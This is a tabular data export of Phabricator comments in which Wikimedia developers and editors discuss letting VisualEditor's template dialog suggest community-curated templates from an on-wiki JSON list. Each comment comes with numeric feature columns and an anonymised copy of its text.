@ecohen @Lena_WMDE @thiemowmde ",,,1585845044,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,352,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.333333333333333,1.0,"CCing WMDE Technical Wishes team (URL
SCREEN_NAMESCREEN_NAMESCREEN_NAME "
1395092,VisualEditor: Provide some kind of template suggestion in the transclusion editor,Any clue on this?,,,1574156168,,PHID-USER-g73uduhwmggntmexighn,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,333,,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,Any clue on this?
1283893,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"> Um... A lot of it actually is defined locally on the wiki and won't work without non-trivial JSON configuration that maps it to local templates.

Yes, I'm comparing them to templates that are 100% defined on wiki.

> Infoboxes are very common, but unlike citations they are usually inserted only once when the article is created

Yes, so as an editing tool, no particular template comes close to cite in terms of frequency of use (although I'm sure there are wiki-by-wiki examples where this is the case).

> and VE is for some reason perceived more as a page editing tool than a page creation tool

I don't see it this way either, but edits >> creations.

I think this conversation belongs on T96710.",,,1558269856,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,1.0,4.0,0.0,6.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,19.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,2.0,3.0,11.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,1.0,0.0,7.0,11.0,1.0,0.0,0.0,0.0,7.0,0.0,2.0,1.0,1.0,1.0,0.0,0.0,2.0,3.49438202247191,0.6853932584269663,"QUOTE

Yes, I'm comparing them to templates that are 100% defined on wiki.

QUOTE

Yes, so as an editing tool, no particular template comes close to cite in terms of frequency of use (although I'm sure there are wiki-by-wiki examples where this is the case).

QUOTE

I don't see it this way either, but edits >> creations.

I think this conversation belongs on T96710."
1283508,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#5192906, @Esanders wrote:
>>>! In T55590#5192101, @Amire80 wrote:
>> There is no good reason for this differentiation. Many templates could be first-class features like ""Cite"", although global templates should probably implemented first.
> 
> I think the distinction at the moment is that the Cite tools relate to extension functionality defined in the code, specifically templates wrapped in a <ref>, and the Citoid tool allows automatic population of those templates.

Um... A lot of it actually //is// defined locally on the wiki and won't work without non-trivial JSON configuration that maps it to local templates.

My theory is that Cite got its own button because the English Wikipedia community, unlike most others, enforces citations very strongly, and new citations are needed in new edits all the time. Infoboxes are very common, but unlike citations they are usually inserted only once when the article is created, and VE is for some reason perceived more as a page editing tool than a page creation tool. (//I// don't perceive it as such, and I use VE for creating pages whenever I can, but my impression is that a lot of people don't think of VE as a page creation tool.)

> ""Suggested templates"" on the other hand are 100% defined on-wiki: the names of the templates to use, the implementation of the templates, and the metadata, so I think it's appropriate to think about these differently.

Sure, but please do keep in mind that some day, better earlier than later, at least some templates should become global. When this finally happens, we can probably also have global JSON configuration for popular templates.",,,1558190892,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,1.6666666666666667,0.0,1.0,1.0,1.0,6.0,1.3333333333333333,0.3333333333333333,0.0,0.0,2.0,1.0,0.0,0.3333333333333333,0.0,2.0,0.0,8.0,9.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,4.333333333333333,1.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,3.3333333333333335,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,11.333333333333334,0.0,1.3333333333333333,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,2.3333333333333335,8.0,2.6666666666666665,2.6666666666666665,5.333333333333333,0.0,0.0,0.0,0.0,3.0,0.6666666666666666,0.0,0.0,3.6666666666666665,9.0,4.0,0.0,0.0,0.0,3.6666666666666665,0.0,1.3333333333333333,2.0,0.0,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,4.038630377524144,0.7772168568920105,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Um... A lot of it actually //is// defined locally on the wiki and won't work without non-trivial JSON configuration that maps it to local templates.

My theory is that Cite got its own button because the English Wikipedia community, unlike most others, enforces citations very strongly, and new citations are needed in new edits all the time. Infoboxes are very common, but unlike citations they are usually inserted only once when the article is created, and VE is for some reason perceived more as a page editing tool than a page creation tool. (//I// don't perceive it as such, and I use VE for creating pages whenever I can, but my impression is that a lot of people don't think of VE as a page creation tool.)

QUOTE

Sure, but please do keep in mind that some day, better earlier than later, at least some templates should become global. When this finally happens, we can probably also have global JSON configuration for popular templates."
1283405,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#5192101, @Amire80 wrote:
> There is no good reason for this differentiation. Many templates could be first-class features like ""Cite"", although global templates should probably implemented first.

I think the distinction at the moment is that the Cite tools relate to extension functionality defined in the code, specifically templates wrapped in a <ref>, and the Citoid tool allows automatic population of those templates.

""Suggested templates"" on the other hand are 100% defined on-wiki: the names of the templates to use, the implementation of the templates, and the metadata, so I think it's appropriate to think about these differently.

That said there are certainly cases on a wiki by wiki basis where it would make sense to promote certain templates to the toolbar, and that is covered by T96710.

",,,1558172962,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,1.0,0.0,3.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,3.5,12.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.5,3.0,1.5,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.0,0.0,14.0,1.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,9.0,2.5,5.5,1.5,2.0,11.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,3.0,12.0,2.0,0.0,1.0,0.0,3.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.0,4.166666666666667,0.7222222222222222,"QUOTE
QUOTE

I think the distinction at the moment is that the Cite tools relate to extension functionality defined in the code, specifically templates wrapped in a <ref>, and the Citoid tool allows automatic population of those templates.

""Suggested templates"" on the other hand are 100% defined on-wiki: the names of the templates to use, the implementation of the templates, and the metadata, so I think it's appropriate to think about these differently.

That said there are certainly cases on a wiki by wiki basis where it would make sense to promote certain templates to the toolbar, and that is covered by T96710.

"
1283261,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"I think curating locally is a good step, as different Wikipedias have different customs on this. Basque Wikipedia, for example, has 6 main templates that would cover around 80% of articles (statistics invented now)",,,1558126751,,PHID-USER-g73uduhwmggntmexighn,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.414634146341464,0.926829268292683,"I think curating locally is a good step, as different Wikipedias have different customs on this. Basque Wikipedia, for example, has 6 main templates that would cover around 80% of articles (statistics invented now)"
1283260,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"This development looks good as a step forward. It's certainly better to have a cross-wiki uniform way for listing community curated things, than having local hacks on wikis.

It shouldn't be a permanent solution, however. Some problems with it that need a deeper solution. For example, ""Cite"" has its own whole first-class button, and all the other templates will be hidden in this new list behind Insert -> Template, even though many templates are as useful and common as Cite is. There is no good reason for this differentiation. Many templates could be first-class features like ""Cite"", although global templates should probably implemented first.

But still, it's a step in the right direction.",,,1558126633,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,2.5,0.0,0.0,0.5,0.5,13.0,2.0,0.0,1.5,0.0,4.0,0.5,0.0,0.0,0.5,0.0,0.0,5.5,9.0,0.0,0.5,1.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.5,0.0,5.0,0.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,10.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,1.5,2.0,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.5,9.0,4.5,0.0,2.5,0.0,2.5,0.0,0.5,2.5,0.0,1.0,1.0,0.0,0.0,4.083333333333333,0.7847222222222222,"This development looks good as a step forward. It's certainly better to have a cross-wiki uniform way for listing community curated things, than having local hacks on wikis.

It shouldn't be a permanent solution, however. Some problems with it that need a deeper solution. For example, ""Cite"" has its own whole first-class button, and all the other templates will be hidden in this new list behind Insert -> Template, even though many templates are as useful and common as Cite is. There is no good reason for this differentiation. Many templates could be first-class features like ""Cite"", although global templates should probably implemented first.

But still, it's a step in the right direction."
1283154,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#5191516, @Trizek-WMF wrote:
> That's the list of most popular (aka most used templates), right?

No, it will be a community-curated list, defined on-wiki in a JSON message file. Otherwise you'd probably end up with useless crap like `{{!}}`.",,,1558114037,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5405405405405403,0.8648648648648649,"QUOTE
QUOTE

No, it will be a community-curated list, defined on-wiki in a JSON message file. Otherwise you'd probably end up with useless crap like CODE."
1283151,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#5191516, @Trizek-WMF wrote:
> That's the list of most popular (aka most used templates), right?

No, it will be a fixed list, defined on-wiki in a JSON message file. Otherwise you'd probably end up with useless crap like `{{!}}`.",,,1558113546,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4,0.8857142857142857,"QUOTE
QUOTE

No, it will be a fixed list, defined on-wiki in a JSON message file. Otherwise you'd probably end up with useless crap like CODE."
1283147,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#5191516, @Trizek-WMF wrote:
> That's the list of most popular (aka most used templates), right?

No, it will be a fixed list, defined on-wiki in a JSON message file.",,,1558113274,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.9565217391304346,0.8695652173913043,"QUOTE
QUOTE

No, it will be a fixed list, defined on-wiki in a JSON message file."
1283134,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"That's the list of most popular (aka most used templates), right?",,,1558112406,,PHID-USER-uciss2jl2e4ifxqqk7wk,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.4375,0.9375,"That's the list of most popular (aka most used templates), right?"
1283129,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Here's how it looks on my local install:
{F29090517,size=full}",,,1558112173,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4375,1.0,"Here's how it looks on my local install:
{F29090517,size=full}"
1283124,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"@Whatamidoing-WMF tells me that English Wikivoyage would be a good candidate for a potential test: ""they have 6 templates they use all the time"". I think French Wikipedia would be a good candidate too. ",,,1558112074,,PHID-USER-uciss2jl2e4ifxqqk7wk,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,2.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,17.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,10.0,5.0,12.0,0.0,5.0,0.0,10.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,4.048780487804878,0.7804878048780488,"SCREEN_NAME-WMF tells me that English Wikivoyage would be a good candidate for a potential test: ""they have 6 templates they use all the time"". I think French Wikipedia would be a good candidate too. "
1283101,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T223534#5189267, @Theklan wrote:
> I think the first one would work.



>>! In T223534#5189303, @Esanders wrote:
> For anyone interested working  on this, the code would go in `ve.ui.MWTemplatePlaceholderPage`, and would need to do the following:
> # Fetch the JSON data for the local wiki using mw.message, see `ve.ui.Citoid.init.js` for an example of this.
> # Get the template descriptions for the listed templates using the API, see the request that the search box uses
> # Append a list of mw.widgets.TitleOptionWidgets to the page



>>! In T223534#5190232, @Trizek wrote:
> I'll give my eternal reconnaissance as a community member to whoever achieves that task. This is something we miss since a while on French Wikipedia. 
> 
> Also, that task is probably a duplicate of {T96710}.



>>! In T223534#5190242, @Theklan wrote:
> @Trizek-WMF it is similar, but this would be adding the most usual ones, as we are working with 6 automated templates that are highly used.



>>! In T223534#5191300, @Esanders wrote:
> I think T96710 is asking for a similar feature, but adding buttons to the toolbar, not the template dialog.

",,,1558109768,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,47.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.433333333333333,0.13333333333333333,"QUOTE
QUOTE



QUOTE
QUOTE
QUOTE
QUOTE
QUOTE



QUOTE
QUOTE
QUOTE
QUOTE



QUOTE
QUOTE



QUOTE
QUOTE

"
1283097,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T223534#5189252, @Esanders wrote:
> I think for a first pass on this we can allow wikis to define a list of most common templates on wiki, e.g.
> ```lang=json,name=MediaWiki:Template-directory.json
> [
>   ""Biografia infotaula automatikoa"",
>   ...
> ]
> ```
> 
> This could then be fetched by the template dialog and show in the space below the search input:
> 
> {F29083664,width=350}
> 
> 
> In the future we would probably want to make this more flexible, such as by grouping templates together, e.g.
> ```lang=json,name=MediaWiki:Template-directory.json
> [
>   {
>     ""group"": ""Infoboxes"",
>     ""templates"": [
>       ""Biografia infotaula automatikoa"",
>       ...
>     ]
>   }
> ]
> ```
> 
> which would necessitate a slightly more complex UI.

",,,1558109701,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,0.3,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

"
1283095,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T223534#5189228, @Theklan wrote:
> When we click in the insert template button we get a white pop-up where we must figure out what the correct template is. In Basque wikipedia we are using a reduced automatic templates system, so it would be very useful to have them listed just below, so you can click them and choose.
> 
> Most useful infoboxes:
> 
> * {{biografia infotaula automatikoa}}
> * {{artelan infotaula automatikoa}} < for artworks
> * {{Eraikin infotaula automatikoa}} < buildings
> * {{Hiri orokor infotaula}} < cities
> * {{Probintzia orokor infotaula}} < administrative units up from cities
> * {{taxotaula automatikoa}} < taxobox

",,,1558109622,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0454545454545454,0.13636363636363635,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

"
1283094,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Change 510943 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/VisualEditor@master] Allow popular templates to be listed in the template dialog

[[https://gerrit.wikimedia.org/r/510943]]",,,1558109586,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,4.4,0.85,"Change 510943 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/VisualEditor@master] Allow popular templates to be listed in the template dialog

[[GERRIT_URL]]"
962602,VisualEditor: Provide some kind of template suggestion in the transclusion editor,{T109253} looks like a similar request.,,,1510330562,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,227,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,1.0,{T109253} looks like a similar request.
534981,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#1673809, @Elitre wrote:
> @James_F, is this something a gadget could easily achieve?

It could, but I'd rather avoid people adding new things to the toolbar //ad hoc//. We really need a design for this that can scale.",,,1443172692,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,116,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,6.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.75,0.96875,"QUOTE
QUOTE

It could, but I'd rather avoid people adding new things to the toolbar //ad hoc//. We really need a design for this that can scale."
